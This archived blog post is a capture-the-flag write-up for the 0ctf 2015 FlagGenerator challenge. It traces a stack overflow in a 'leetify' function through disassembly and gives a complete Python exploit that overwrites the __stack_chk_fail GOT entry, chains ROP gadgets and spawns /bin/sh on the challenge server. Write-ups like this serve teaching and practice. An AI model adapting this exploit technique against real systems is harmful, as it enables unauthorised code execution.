💾 Archived View for 0x80.org › gemlog › 2015-03-30-0ctf-flaggenerator-writeup.gmi captured on 2022-04-28 at 17:40:58. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
FlagGenerator was an exploitation challenge worth 250 pts on 0ctf[1]. We are given the binary[2] and it's libc[3] file. Let's start.
3: http://dl.0ops.net/libc.so.6
[0x08048570]> !checksec --file ./flagen RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH ./flagen
Let start from main and see what's going on
[0x08048570]> s main [0x08048bb3]> pdf ~call | 0x08048bbc e8acfaffff call fcn.0804866d | 0x08048bc9 e860ffffff call getinput | || 0x08048bfc e8bff8ffff call .free | | 0x08048c08 e8f6feffff call flag_reader | | 0x08048c18 e8f3f8ffff call .puts | || | 0x08048c31 e84afbffff call uppercase | | | 0x08048c3d e8cef8ffff call .puts | || | | 0x08048c56 e8c8fbffff call lowercase | | | | 0x08048c62 e8a9f8ffff call .puts | | | | | 0x08048c7b e846fcffff call 0x80488c6 | | | | | 0x08048c87 e884f8ffff call .puts | | | | | 0x08048ca0 e8cbfdffff call 0x8048a70 | | | | | 0x08048cac e85ff8ffff call .puts | | | | | 0x08048cca e8e1f7ffff call .printf | | | | | 0x08048cd6 e8e5f7ffff call .free | | | | | 0x08048cea e821f8ffff call .puts | | | | | 0x08048cf8 e813f8ffff call .puts | | | | | 0x08048d06 e805f8ffff call .puts | | | | 0x08048d19 e8f2f7ffff call .puts
we show the calls and we check getinput function. This function is responsible for viewing the options and selecting one which has a psudeo-code
int getinput() { puts("== 0ops Flag Generator =="); puts("1. Input Flag"); puts("2. Uppercase"); puts("3. Lowercase"); puts("4. Leetify"); puts("5. Add Prefix"); puts("6. Output Flag"); puts("7. Exit "); puts("========================="); puts("Your choice: "); return read_choice(); }
so we start checking each of the options above and we find that #4 the leetify function 0x80488c6 is vulnerable. When the function recieves char 'h' or 'H' it goes to 0x0804895a which is vulnerable.
[0x0804895a]> pdb / (fcn) fcn.0804895a 278 | ; var int local_69 @ ebp-0x114 | ; var int local_68 @ ebp-0x110 | ; var int local_67 @ ebp-0x10c | ; var int local_3 @ ebp-0xc | ; arg int arg_2 @ ebp+0x8 | 0x0804895a 8b85ecfeffff mov eax, dword [ebp-local_69] | 0x08048960 8d5001 lea edx, [eax + 1] ; [0x1:4]=0x1464c45 | 0x08048963 8995ecfeffff mov dword [ebp-local_69], edx | 0x08048969 c60031 mov byte [eax], 0x31 ; [0x31:1]=0 ; '1' | 0x0804896c 8b85ecfeffff mov eax, dword [ebp-local_69] | 0x08048972 8d5001 lea edx, [eax + 1] ; [0x1:4]=0x1464c45 | 0x08048975 8995ecfeffff mov dword [ebp-local_69], edx | 0x0804897b c6002d mov byte [eax], 0x2d ; [0x2d:1]=0 ; '-' | 0x0804897e 8b85ecfeffff mov eax, dword [ebp-local_69] | 0x08048984 8d5001 lea edx, [eax + 1] ; [0x1:4]=0x1464c45 | 0x08048987 8995ecfeffff mov dword [ebp-local_69], edx | 0x0804898d c60031 mov byte [eax], 0x31 ; [0x31:1]=0 ; '1' | 0x08048990 e992000000 jmp 0x8048a27 ; (fcn.0804895a)
what happens above is that when 'h' or 'H' are read they are converted to '1-1' so they generate 3 bytes instead of all the other cases 'aAzZlLoO..' which read 1 and generate 1 byte. This without checking the size can cause an overflow in src..
int leetify(char *dst) { char src[256]; .. switch(input) { .... case 'h': case 'H': src[x] = '1'; src[x+1] = '-'; src[x+2] = '1'; ... .... } ... }
so if dst was 256 bytes and src can only hold 256 then if all dst content is 'h' or 'H' then the src will hold 256*3 bytes which will overflow. This binary is compiled with canary so cookie which will be overwritten will cause a call to __stack_check_fail.
[0x08048a5d]> pd 4 | 0x08048a5d 8b45f4 mov eax, dword [ebp-local_3] | 0x08048a60 65330514000. xor eax, dword gs:[0x14] | ,=< 0x08048a67 7405 je 0x8048a6e | | 0x08048a69 e872faffff call .__stack_chk_fail
So the exploit is
#!/usr/bin/env python2 from pwn import * from time import sleep context(arch='i386', os='linux') def main(): scf = p32(0x0804b01c) # __stack_check_fail@got.plt rop = p32(0x08048d89) rop += p32(0xdeadc0de)*2 rop += p32(0xf774c938-1648552)*2 # system 0x00040190 rop += p32(0xf774c938-1648552-0x2e9ce) # /bin/sh 0x000117c2 rop += p32(0xf774c938-1648552-0x2e9ce) # diff 190926 0x2e9ce # leaker #rop += p32(0x08048510)*2 # puts #rop += p32(0x0804b004) p = "1\n" p += rop+"h"*28+scf*(((254-len(rop)-25)/4)) p += "\n" r = remote("202.112.28.115", 5149) #r = remote("202.112.26.106", 5149) r.recv(1024) r.sendline(p) r.recv(1024) r.sendline("4") r.recv(1024) try: r.sendline("cat /home/flagen/flag") print r.recv(5012) except: pass if __name__ == '__main__': main()
The way we build this exploit is first we jump to this gadget
[0x08048bb3]> s 0x08048d89 [0x08048d89]> pdb / (fcn) fcn.08048d89 8 | ;-- fcn.08048d89: | 0x08048d89 83c41c add esp, 0x1c | 0x08048d8c 5b pop ebx | 0x08048d8d 5e pop esi | 0x08048d8e 5f pop edi | 0x08048d8f 5d pop ebp \ 0x08048d90 c3 ret
This will allow us to set the esp to a controlled buffer so we can ROP more. We used puts at 0x08048510 to print content at 0x0804b004 which is the beginning of got.plt+4 section. We need this information. We find that leaked addresses are in this format.
# 0xf7798938 # 0xf7752938 # 0xf774c938 # 0xf7723938
we calculate an offset for this address to &system and to string /bin/sh in the given libc. The offsets found are fixed by -1648552 to get to system from the leaked address at 0x0804b004 and by -1648552-0x2e9ce to /bin/sh from the leaked address. Then we use this information to call system("/bin/sh") by bruteforcing. Exploiting multiple times. Because we know at some point these
rop += p32(0xf774c938-1648552)*2 # system 0x00040190 rop += p32(0xf774c938-1648552-0x2e9ce) # /bin/sh 0x000117c2 rop += p32(0xf774c938-1648552-0x2e9ce) # diff 190926 0x2e9ce
addresses will be true and the code will be executed. So we run the exploit many times and we get this .
zeus:flagen # ack 0ctf log 0ctf{delicious_stack_cookie_generates_flag}